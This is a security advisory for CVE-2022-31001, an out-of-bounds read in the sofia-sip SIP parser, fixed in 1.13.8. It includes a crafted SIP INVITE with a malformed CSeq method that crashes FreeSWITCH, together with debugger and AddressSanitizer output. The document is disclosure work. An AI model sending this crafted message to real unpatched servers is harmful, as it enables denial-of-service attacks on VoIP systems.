

sip_method_d Out-of-bound read

High andywork published GHSA-79jq-hh82-cv9g on May 31

Package

sofia-sip (C)

Affected versions

`<= 1.13.7`

Patched versions

1.13.8

Description

An attacker can send a message with evil sdp to FreeSWITCH, which may cause crash.

I think this type of crash is caused by `#define MATCH(s, m) (strncmp(s, m, n = sizeof(m) - 1) == 0)`, this will make n bigger and trigger out-of-bound access when `IS_NON_WS(s[n])`.

SIP Message:

```
INVITE [sip:vivekg@chair-dnrc.example.com]();unknownparam SIP/2.0
TO :
  [sip:vivekg@ce.com]() ; tag = 13n
from : "J Rosenberg \\\\" <[sip:jdrosen@example.com]()>
;
tag = 98asjd8
MaX-fOrWaRdS: 0068
Call-ID: wsinv.1
Content-Length : 150
cseq: 0009
MNVITE
Via : SIP / 2.0
/UDP
192.0.2.2;rport;branch=390skdjuw
s :
NewFangledHr: e
UnknownHeaderWnusualValue:;;;
Content-Type: application/sdp
Route:
  <sip:ser=value;unknown-no-value>
v: SIP / 2.0 / TCP spind ;
branch = z9hG4bK9ikj8 ,
SIP / 2.0 / UDP 192.168.255.111 ; branch=
```

```
z9hG4bK30239
m:"Quing \"\"\" <[sip:jdrosen@example.com]()> ; newparam =
    newvalue ;
secondparam ; q = 0.33

v=0
o=mhandle 29739 7272939 IN IP4 192.0.2.3
s=-
c=IN IP4 192.0.2.4
t=0 0
m=audio 49217 RTP/AVP 0 12
m=video 3227 RTP/AVP 31
a=rtpmap:31 LPC
```

Debug record:

Breakpoint 2, sip_method_d (ss=0x7fffffffdb40, return_name=<optimized out>) at sip_parser.c:457

457 if (IS_NON_WS(s[n]))

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

REGISTERS

```
*RAX  0x0
*RBX  0x7
*RCX  0x0
*RDX  0x610880 (sip_method_name_message) ← push r11 /* 'MESSAGE' */
*RDI  0x5360a6 (sip_method_d+374) → 0xab8c085c931 ← 0x0
*RSI  0x607000000d7 ← 0x455449564e4d /* 'MNVITE' */
*R8    0x1
R9    0x6070000000a ← 0x2000060700000
R10   0x619000000210 ← 0x0
R11   0xc3200000001 ← 0x0
*R12   0xfffffffffb68 ← 0x0
*R13   0x607000000d7 ← 0x455449564e4d /* 'MNVITE' */
*R14   0x6070000000c8 ← 0x0
*R15   0x7fffffffdb40 → 0x607000000d7 ← 0x455449564e4d /* 'MNVITE' */
RBP   0x7fffffffdbd0 → 0x7fffffffdd10 ← 0x24a
*RSP   0x7fffffffda0 → 0x7fffffffdb60 → 0x607000000090 ← 0x0
*RIP   0x5363c9 (sip_method_d+1177) ← lea rdi, [rbx + r13]
```

DISASM

```
► 0x5363c9 <sip_method_d+1177> lea rdi, [rbx + r13] <0x5360a6>
0x5363cd <sip_method_d+1181> mov rcx, rdi
0x5363d0 <sip_method_d+1184> shr rcx, 3
0x5363d4 <sip_method_d+1188> mov cl, byte ptr [rcx + 0x7fff8000]
0x5363da <sip_method_d+1194> test cl, cl
0x5363dc <sip_method_d+1196> jne sip_method_d+2788 <sip_method_d+2788>
↓
0x536a14 <sip_method_d+2788> mov edx, edi
0x536a16 <sip_method_d+2790> and edx, 7
```

```
0x536a19 <sip_method_d+2793>  cmp  dl, cl
0x536a1b <sip_method_d+2795>  jl   sip_method_d+1202 <sip_method_d+1202>

0x536a21 <sip_method_d+2801>  call __asan_report_load1 <__asan_report_load1>
```

SOURCE (CODE)

]

In file: /data00/home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-ua/sip/sip_parser.c

```
452  break;
453  }
454
455 #undef MATCH
456
▶ 457  if (IS_NON_WS(s[n]))
458      /* Unknown method */
459      code = sip_method_unknown;
460
461  if (code == sip_method_unknown) {
462      name = s;
```

STACK

]


```
00:0000| rsp 0x7fffffffdafe → 0x7fffffffdb60 → 0x607000000090 ← 0x0
01:0008|      0x7fffffffdafe → 0x607000000090 ← 0x0
02:0010|      0x7fffffffdb00 → 0x7fffffffdb40 → 0x6070000000d7 ← 0x455449564e4d /* 'MNVITE'
*/
03:0018|      0x7fffffffdb08 → 0x7fffffffdb20 ← 0x41b58ab3
04:0020|      0x7fffffffdb10 → 0xfffffffffb64 ← 0x0
05:0028|      0x7fffffffdb18 → 0x5b146e (sip_cseq_d+558) ← mov  ecx, eax
06:0030|      0x7fffffffdb20 ← 0x41b58ab3
07:0038|      0x7fffffffdb28 → 0x61108c ← xor  dword ptr [rax], esp /* '1 32 8 6 s.addr' */
```

BACKTRACE

]

```
▶ f 0      0x5363c9 sip_method_d+1177
f 1      0x5b146e sip_cseq_d+558
f 2      0x50669a extract_header+6154
f 3      0x50669a extract_header+6154
f 4      0x50337d msg_extract+4877
f 5      0x50337d msg_extract+4877
f 6      0x4f4ecd main+1677
f 7      0x4f4ecd main+1677
```

```
pwndbg> p s
$1 = 0x6070000000d7 "MNVITE"
pwndbg> p n
$2 = 7
```



This crash uses the same harness.c as type 2, and its crash report is as follows:

```

=====
==1721270==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6070000000de at pc
0x000000536a26 bp 0x7ffc4ab53320 sp 0x7ffc4ab53318
READ of size 1 at 0x6070000000de thread T0
#0 0x536a25 in sip_method_d /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/sip/sip_parser.c:457:7
#1 0x5b146d in sip_cseq_d /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/sip/sip_basic.c:1212:26
#2 0x506699 in header_parse /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/msg/msg_parser.c:1132:9
#3 0x506699 in extract_header /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/msg/msg_parser.c:1071
#4 0x50337c in extract_next /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/msg/msg_parser.c:1001:12
#5 0x50337c in msg_extract /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/msg/msg_parser.c:903
#6 0x4f4ecc in read_message /home/wangzhong.c0ss4ck/APT-IoT/HackSIP3/msg_harness.c:45:6
#7 0x4f4ecc in main /home/wangzhong.c0ss4ck/APT-IoT/HackSIP3/msg_harness.c:72
#8 0x7f2edef3f2e0 in __libc_start_main (/lib/x86_64-linux-gnu/[libc.so]
(http://libc.so/).6+0x202e0)
#9 0x41d839 in _start (/data00/home/wangzhong.c0ss4ck/APT-
IoT/HackSIP3/msg_harness+0x41d839)

```

0x6070000000de is located 0 bytes to the right of 78-byte region
[0x607000000090,0x6070000000de)
allocated by thread T0 here:

```

#0 0x4c5693 in malloc /build/llvm-toolchain-7-jqDfnF/llvm-toolchain-7-
7.0.1/projects/compiler-rt/lib/asan/[asan_malloc_linux.cc:146]
(http://asan_malloc_linux.cc:146/):3
#1 0x54d62d in sub_alloc /home/wangzhong.c0ss4ck/APT-IoT/sofia-sip/libsofia-sip-
ua/su/su_alloc.c:500:12

```

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/wangzhong.c0ss4ck/APT-IoT/sofia-
sip/libsofia-sip-ua/sip/sip_parser.c:457:7 in sip_method_d
Shadow bytes around the buggy address:

```

0x0c0e7fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c0e7fff8000: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa fa
=>0x0c0e7fff8010: fa fa 00 00 00 00 00 00 00 00 00 00[06]fa fa fa fa
0x0c0e7fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0e7fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

```

Shadow byte legend (one shadow byte represents 8 application bytes):

```

Addressable:      00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone:  fa
Freed heap region:   fd
Stack left redzone:  f1
Stack mid redzone:   f2
Stack right redzone: f3
Stack after return:  f5

```

```
Stack use after scope: f8
Global redzone:      f9
Global init order:   f6
Poisoned by user:    f7
Container overflow:   fc
Array cookie:        ac
Intra object redzone: bb
ASan internal:        fe
Left alloca redzone:  ca
Right alloca redzone: cb
Shadow gap:          cc
==1721270==ABORTING
```

Severity

High

CVE ID

CVE-2022-31001

Weaknesses

CWE-125

Credits



Cossack9989